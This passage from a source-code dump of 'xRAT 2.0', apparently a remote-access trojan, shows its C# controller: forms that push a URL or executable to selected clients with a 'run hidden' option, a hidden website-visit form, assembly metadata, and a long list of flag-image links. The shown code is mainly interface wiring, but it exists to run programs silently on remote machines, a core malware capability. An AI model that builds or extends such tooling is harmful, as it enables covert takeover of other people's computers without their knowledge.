| 33 | /// 34 | /// Indicates the end of a group 35 | /// 36 | EndGroup = 4, 37 | 38 | /// 39 | /// Fixed-length 4-byte encoding 40 | /// 10 41 | Fixed32 = 5, 42 | 43 | /// 44 | /// This is not a formal wire-type in the "protocol buffers" spec, but 45 | /// denotes a variant integer that should be interpreted using 46 | /// zig-zag semantics (so -ve numbers aren't a significant overhead) 47 | /// 48 | SignedVariant = WireType.Variant | (1 << 3), 49 | } 50 | } -------------------------------------------------------------------------------- /Server/Forms/FrmAbout.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace xServer.Forms 5 | { 6 | public partial class FrmAbout : Form 7 | { 8 | public FrmAbout() 9 | { 10 | InitializeComponent(); 11 | 12 | lblVersion.Text = Settings.XMLSettings.VERSION; 13 | rtxtContent.Text = Properties.Resources.TermsOfUse; 14 | 15 | lblCredits.Text = 16 | "Credits: Banksy\n" + 17 | " ResourceLib (Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013)\n" + 18 | " protobuf (Copyright 2008 Google Inc.)\n\n" + 19 | "Elevation Form Translators: Xenocode, Increment, DeadLine, Perfectionist,\n" + 20 | " Qmz_, GameFire, navaro21"; 21 | } 22 | 23 | private void btnOkay_Click(object sender, EventArgs e) 24 | { 25 | this.Close(); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /Server/Forms/FrmDownloadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace xServer.Forms 5 | { 6 | public partial class FrmDownloadAndExecute : Form 7 | { 8 | private readonly int _selectedClients; 9 | 10 | public FrmDownloadAndExecute(int selected) 11 | { 12 | _selectedClients = selected; 13 | InitializeComponent(); 14 | } 15 | 16 | private void btnDownloadAndExecute_Click(object sender, EventArgs e) 17 | { 18 | Core.Misc.DownloadAndExecute.URL = txtURL.Text; 19 | Core.Misc.DownloadAndExecute.RunHidden = chkRunHidden.Checked; 20 | 21 | this.DialogResult = DialogResult.OK; 22 | this.Close(); 23 | } 24 | 25 | private void FrmDownloadAndExecute_Load(object sender, EventArgs e) 26 | { 27 | this.Text = string.Format("xRAT 2.0 - Download & Execute [Selected: {0}]", _selectedClients); 28 | txtURL.Text = Core.Misc.DownloadAndExecute.URL; 29 | chkRunHidden.Checked = Core.Misc.DownloadAndExecute.RunHidden; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /Server/Forms/FrmUpdate.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace xServer.Forms 5 | { 6 | public partial class FrmUpdate : Form 7 | { 8 | private readonly int _selectedClients; 9 | 10 | public FrmUpdate(int selected) 11 | { 12 | _selectedClients = selected; 13 | InitializeComponent(); 14 | } 15 | 16 | private void FrmUpdate_Load(object sender, EventArgs e) 17 | { 18 | this.Text = string.Format("xRAT 2.0 - Update [Selected: {0}]", _selectedClients); 19 | txtURL.Text = Core.Misc.Update.DownloadURL; 20 | } 21 | 22 | private void btnUpdate_Click(object sender, EventArgs e) 23 | { 24 | Core.Misc.Update.DownloadURL = txtURL.Text; 25 | 26 | this.DialogResult = DialogResult.OK; 27 | this.Close(); 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /Server/Forms/FrmUploadAndExecute.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Windows.Forms; 4 | 5 | namespace xServer.Forms 6 | { 7 | public partial class FrmUploadAndExecute : Form 8 | { 9 | private readonly int _selectedClients; 10 | 11 | public FrmUploadAndExecute(int selected) 12 | { 13 | _selectedClients = selected; 14 | InitializeComponent(); 15 | } 16 | 17 | private void FrmUploadAndExecute_Load(object sender, EventArgs e) 18 | { 19 | this.Text = string.Format("xRAT 2.0 - Upload & Execute [Selected: {0}]", _selectedClients); 20 | chkRunHidden.Checked = Core.Misc.UploadAndExecute.RunHidden; 21 | } 22 | 23 | private void btnBrowse_Click(object sender, EventArgs e) 24 | { 25 | using (OpenFileDialog ofd = new OpenFileDialog()) 26 | { 27 | ofd.Multiselect = false; 28 | ofd.Filter = "Executable (*.exe)|*.exe"; 29 | if (ofd.ShowDialog() == DialogResult.OK) 30 | { 31 | var filePath = Path.Combine(ofd.InitialDirectory, ofd.FileName); 32 | txtPath.Text = filePath; 33 | 34 | Core.Misc.UploadAndExecute.FilePath = File.Exists(filePath) ? filePath : ""; 35 | Core.Misc.UploadAndExecute.RunHidden = chkRunHidden.Checked; 36 | } 37 | } 38 | } 39 | 40 | private void btnUploadAndExecute_Click(object sender, EventArgs e) 41 | { 42 | this.DialogResult = DialogResult.OK; 43 | this.Close(); 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /Server/Forms/FrmVisitWebsite.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace xServer.Forms 5 | { 6 | public partial class FrmVisitWebsite : Form 7 | { 8 | private readonly int _selectedClients; 9 | 10 | public FrmVisitWebsite(int selected) 11 | { 12 | _selectedClients = selected; 13 | InitializeComponent(); 14 | } 15 | 16 | private void FrmVisitWebsite_Load(object sender, EventArgs e) 17 | { 18 | this.Text = string.Format("xRAT 2.0 - Visit Website [Selected: {0}]", _selectedClients); 19 | txtURL.Text = Core.Misc.VisitWebsite.URL; 20 | chkVisitHidden.Checked = Core.Misc.VisitWebsite.Hidden; 21 | } 22 | 23 | private void btnVisitWebsite_Click(object sender, EventArgs e) 24 | { 25 | Core.Misc.VisitWebsite.URL = txtURL.Text; 26 | Core.Misc.VisitWebsite.Hidden = chkVisitHidden.Checked; 27 | 28 | this.DialogResult = DialogResult.OK; 29 | this.Close(); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /Server/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | using xServer.Forms; 4 | 5 | namespace xServer 6 | { 7 | internal static class Program 8 | { 9 | [STAThread] 10 | private static void Main() 11 | { 12 | Application.EnableVisualStyles(); 13 | Application.SetCompatibleTextRenderingDefault(false); 14 | Application.Run(new FrmMain()); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Server/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | using xServer.Settings; 4 | 5 | // Allgemeine Informationen über eine Assembly werden über die folgenden 6 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, 7 | // die mit einer Assembly verknüpft sind. 8 | [assembly: AssemblyTitle("xRAT 2.0")] 9 | [assembly: AssemblyDescription("Remote Administration Tool")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("xRAT 2.0")] 13 | [assembly: AssemblyCopyright("Copyright © MaxX0r 2015")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar 18 | // für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von 19 | // COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. 20 | [assembly: ComVisible(false)] 21 | 22 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: 23 | // 24 | // Hauptversion 25 | // Nebenversion 26 | // Buildnummer 27 | // Revision 28 | // 29 | // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern 30 | // übernehmen, indem Sie "*" eingeben: 31 | // [assembly: AssemblyVersion("1.0.*")] 32 | [assembly: AssemblyVersion("2.0.0.0")] 33 | [assembly: AssemblyFileVersion("2.0.0.0")] 34 | [assembly: AssemblyInformationalVersion("2.0.0.0 " + XMLSettings.VERSION)] 35 | -------------------------------------------------------------------------------- /Server/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Dieser Code wurde von einem Tool generiert. 4 | // Laufzeitversion:4.0.30319.18444 5 | // 6 | // Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn 7 | // der Code erneut generiert wird. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace xServer.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Server/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Server/Resources/actions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/Resources/actions.png -------------------------------------------------------------------------------- /Server/Resources/delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/Resources/delete.png -------------------------------------------------------------------------------- /Server/Resources/restart.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/Resources/restart.png -------------------------------------------------------------------------------- /Server/Resources/shutdown.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/Resources/shutdown.png -------------------------------------------------------------------------------- /Server/Resources/standby.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/Resources/standby.png -------------------------------------------------------------------------------- /Server/Resources/textfield_rename.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/Resources/textfield_rename.png -------------------------------------------------------------------------------- /Server/app.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /Server/flags/ad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ad.png -------------------------------------------------------------------------------- /Server/flags/ae.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ae.png -------------------------------------------------------------------------------- /Server/flags/af.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/af.png -------------------------------------------------------------------------------- /Server/flags/ag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ag.png -------------------------------------------------------------------------------- /Server/flags/ai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ai.png -------------------------------------------------------------------------------- /Server/flags/al.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/al.png -------------------------------------------------------------------------------- /Server/flags/am.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/am.png -------------------------------------------------------------------------------- /Server/flags/an.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/an.png -------------------------------------------------------------------------------- /Server/flags/ao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ao.png -------------------------------------------------------------------------------- /Server/flags/ar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ar.png -------------------------------------------------------------------------------- /Server/flags/as.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/as.png -------------------------------------------------------------------------------- /Server/flags/at.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/at.png -------------------------------------------------------------------------------- /Server/flags/au.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/au.png -------------------------------------------------------------------------------- /Server/flags/aw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/aw.png -------------------------------------------------------------------------------- /Server/flags/ax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ax.png -------------------------------------------------------------------------------- /Server/flags/az.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/az.png -------------------------------------------------------------------------------- /Server/flags/ba.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ba.png -------------------------------------------------------------------------------- /Server/flags/bb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bb.png -------------------------------------------------------------------------------- /Server/flags/bd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bd.png -------------------------------------------------------------------------------- /Server/flags/be.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/be.png -------------------------------------------------------------------------------- /Server/flags/bf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bf.png -------------------------------------------------------------------------------- /Server/flags/bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bg.png -------------------------------------------------------------------------------- /Server/flags/bh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bh.png -------------------------------------------------------------------------------- /Server/flags/bi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bi.png -------------------------------------------------------------------------------- /Server/flags/bj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bj.png -------------------------------------------------------------------------------- /Server/flags/bm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bm.png -------------------------------------------------------------------------------- /Server/flags/bn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bn.png -------------------------------------------------------------------------------- /Server/flags/bo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bo.png -------------------------------------------------------------------------------- /Server/flags/br.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/br.png -------------------------------------------------------------------------------- /Server/flags/bs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bs.png -------------------------------------------------------------------------------- /Server/flags/bt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bt.png -------------------------------------------------------------------------------- /Server/flags/bv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bv.png -------------------------------------------------------------------------------- /Server/flags/bw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bw.png -------------------------------------------------------------------------------- /Server/flags/by.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/by.png -------------------------------------------------------------------------------- /Server/flags/bz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/bz.png -------------------------------------------------------------------------------- /Server/flags/ca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ca.png -------------------------------------------------------------------------------- /Server/flags/catalonia.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/catalonia.png -------------------------------------------------------------------------------- /Server/flags/cc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cc.png -------------------------------------------------------------------------------- /Server/flags/cd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cd.png -------------------------------------------------------------------------------- /Server/flags/cf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cf.png -------------------------------------------------------------------------------- /Server/flags/cg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cg.png -------------------------------------------------------------------------------- /Server/flags/ch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ch.png -------------------------------------------------------------------------------- /Server/flags/ci.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ci.png -------------------------------------------------------------------------------- /Server/flags/ck.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ck.png -------------------------------------------------------------------------------- /Server/flags/cl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cl.png -------------------------------------------------------------------------------- /Server/flags/cm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cm.png -------------------------------------------------------------------------------- /Server/flags/cn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cn.png -------------------------------------------------------------------------------- /Server/flags/co.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/co.png -------------------------------------------------------------------------------- /Server/flags/cr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cr.png -------------------------------------------------------------------------------- /Server/flags/cs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cs.png -------------------------------------------------------------------------------- /Server/flags/cu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cu.png -------------------------------------------------------------------------------- /Server/flags/cv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cv.png -------------------------------------------------------------------------------- /Server/flags/cx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cx.png -------------------------------------------------------------------------------- /Server/flags/cy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cy.png -------------------------------------------------------------------------------- /Server/flags/cz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/cz.png -------------------------------------------------------------------------------- /Server/flags/de.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/de.png -------------------------------------------------------------------------------- /Server/flags/dj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/dj.png -------------------------------------------------------------------------------- /Server/flags/dk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/dk.png -------------------------------------------------------------------------------- /Server/flags/dm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/dm.png -------------------------------------------------------------------------------- /Server/flags/do.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/do.png -------------------------------------------------------------------------------- /Server/flags/dz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/dz.png -------------------------------------------------------------------------------- /Server/flags/ec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ec.png -------------------------------------------------------------------------------- /Server/flags/ee.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ee.png -------------------------------------------------------------------------------- /Server/flags/eg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/eg.png -------------------------------------------------------------------------------- /Server/flags/eh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/eh.png -------------------------------------------------------------------------------- /Server/flags/england.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/england.png -------------------------------------------------------------------------------- /Server/flags/er.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/er.png -------------------------------------------------------------------------------- /Server/flags/es.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/es.png -------------------------------------------------------------------------------- /Server/flags/et.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/et.png -------------------------------------------------------------------------------- /Server/flags/europeanunion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/europeanunion.png -------------------------------------------------------------------------------- /Server/flags/fam.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/fam.png -------------------------------------------------------------------------------- /Server/flags/fi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/fi.png -------------------------------------------------------------------------------- /Server/flags/fj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/fj.png -------------------------------------------------------------------------------- /Server/flags/fk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/fk.png -------------------------------------------------------------------------------- /Server/flags/fm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/fm.png -------------------------------------------------------------------------------- /Server/flags/fo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/fo.png -------------------------------------------------------------------------------- /Server/flags/fr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/fr.png -------------------------------------------------------------------------------- /Server/flags/ga.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ga.png -------------------------------------------------------------------------------- /Server/flags/gb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gb.png -------------------------------------------------------------------------------- /Server/flags/gd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gd.png -------------------------------------------------------------------------------- /Server/flags/ge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/ge.png -------------------------------------------------------------------------------- /Server/flags/gf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gf.png -------------------------------------------------------------------------------- /Server/flags/gh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gh.png -------------------------------------------------------------------------------- /Server/flags/gi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gi.png -------------------------------------------------------------------------------- /Server/flags/gl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gl.png -------------------------------------------------------------------------------- /Server/flags/gm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gm.png -------------------------------------------------------------------------------- /Server/flags/gn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gn.png -------------------------------------------------------------------------------- /Server/flags/gp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gp.png -------------------------------------------------------------------------------- /Server/flags/gq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gq.png -------------------------------------------------------------------------------- /Server/flags/gr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gr.png -------------------------------------------------------------------------------- /Server/flags/gs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gs.png -------------------------------------------------------------------------------- /Server/flags/gt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gt.png -------------------------------------------------------------------------------- /Server/flags/gu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gu.png -------------------------------------------------------------------------------- /Server/flags/gw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gw.png -------------------------------------------------------------------------------- /Server/flags/gy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/gy.png -------------------------------------------------------------------------------- /Server/flags/hk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/hk.png -------------------------------------------------------------------------------- /Server/flags/hm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/hm.png -------------------------------------------------------------------------------- /Server/flags/hn.png: 